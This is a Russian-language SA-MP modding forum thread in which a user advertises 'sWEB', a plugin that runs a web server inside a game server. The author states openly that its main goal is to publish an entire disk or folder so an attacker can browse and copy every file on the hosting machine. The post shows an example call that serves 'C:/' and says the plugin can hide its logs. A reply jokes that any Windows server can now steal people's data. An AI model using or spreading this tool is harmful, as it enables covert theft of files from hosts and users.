Доступ к архиву

Переход в группу "Пользователь"

300.00 ₽
Одноразовый платёж
Быстрый переход в группу "Пользователи", без надобности написания постов и ожидания.

Покупка дает возможность:
Быть полноправным участником форума
Нормальное копирование кода
Создавать темы
Скачивать файлы
Доступ к архиву Pawno-Info

sWEB (SA-MP WEB 1.0)

Статус
В этой теме нельзя размещать новые ответы.

Den_Bellik

Мастер
mysan написал(а):
Здравствуйте !

Как и раньше у меня для вас ничего хорошего (в переносном смысле).

Решил написать плагин, который поднимет сервер внутри сервера SA-MP.

Зачем это нужно ?

Главная цель плагина: состоит в том что он выкидывает в сеть любой диск или папку и дает злоумышленнику полную возможность парсить все файлы и папки на хостинге также сохраняя их себе.

Вторинная цель: Вы можете использовать папку сервера как веб сервер для своего проекта, используя технологии HTML вы можете создать полноценный сайт.

Особенности:

Сервер построен с помощью winsock и выполнен в минималистическом виде, что быстротой не уступает Apache.
Полностью на русском языке.
Читает русские папки.
Может прятать логи.
Работает на любом свободном порте.
Умеет использовать статический айпи.

Функции:

PHP:
web(ip[],port,dir[],bool:debug);[php]

IP - айпи адрес (127.0.0.1 как localhost или любой другой из ipconfig включая статический).
PORT - порт для запуска, если порт 80 занят, можно ввести любой другой, добавив в браузере  [URL]http://localhots:порт[/URL] можно парсить по другому адресу.
DIR - директория парсинга, чтобы парсить весь диск , введите "C:/"  как пример.
DEBUG - принимает значения  true и false (пишет в диалоговое окно состояние сервера,но не сохраняет в server_log.txt).


[B]Пример использования:[/B]

[php]
#include <a_samp>
native web(ip[],port,dir[],bool:debug);
public OnFilterScriptInit()return web("127.0.0.1",80,"C:/",true);
Возможные проблемы:

Протестирован на Windows 7 и Windows XP но только на версиях X86 [32 бит] (на X64 может не запустится).


Ссылка на скачивание:
mysan написал(а):
Примичание к установке:


Папка www должна находится в корне сервера (возле файла samp-server.exe).

PS: не забудьте прописать [filterscripts web] и [plugins sweb] в server.cfg
PPS: при не верно установленной папке www сервер будет крешится.

Примичание: при повторном использованию функции web(); ничего не произойдет, запланировано по 1 серверу на каждый samp-server.

О ip: соотвественно к статическому айпи можно прилепить домен и заходить на сайт с помощью домена или субдомена (используйте A записи DNS).

О linux: к сожалению таким методом не получится чпокнуть Linux но как будет время я сделаю еще и плагин под Linux.





Ты можешь отредактировать index.html в папке www и в нем написать полноценный сайт (все HTML коды включая метод POST/GET поддерживаются).

Например можно сделать форму пополнения валюты на сервере, а файл index.html гененрировать через pawn код.

  • Ну что ребят, теперь каждый сервер который на windows, может с****ить вашые данные из компа xD
  • Вот только plugin работает на windows и все.
Немного рекламы в плагине, но ничего оно ни как не повлияет - но теперь игрокам Sa-Mp больше инфы.
 
Статус
В этой теме нельзя размещать новые ответы.
Сверху Снизу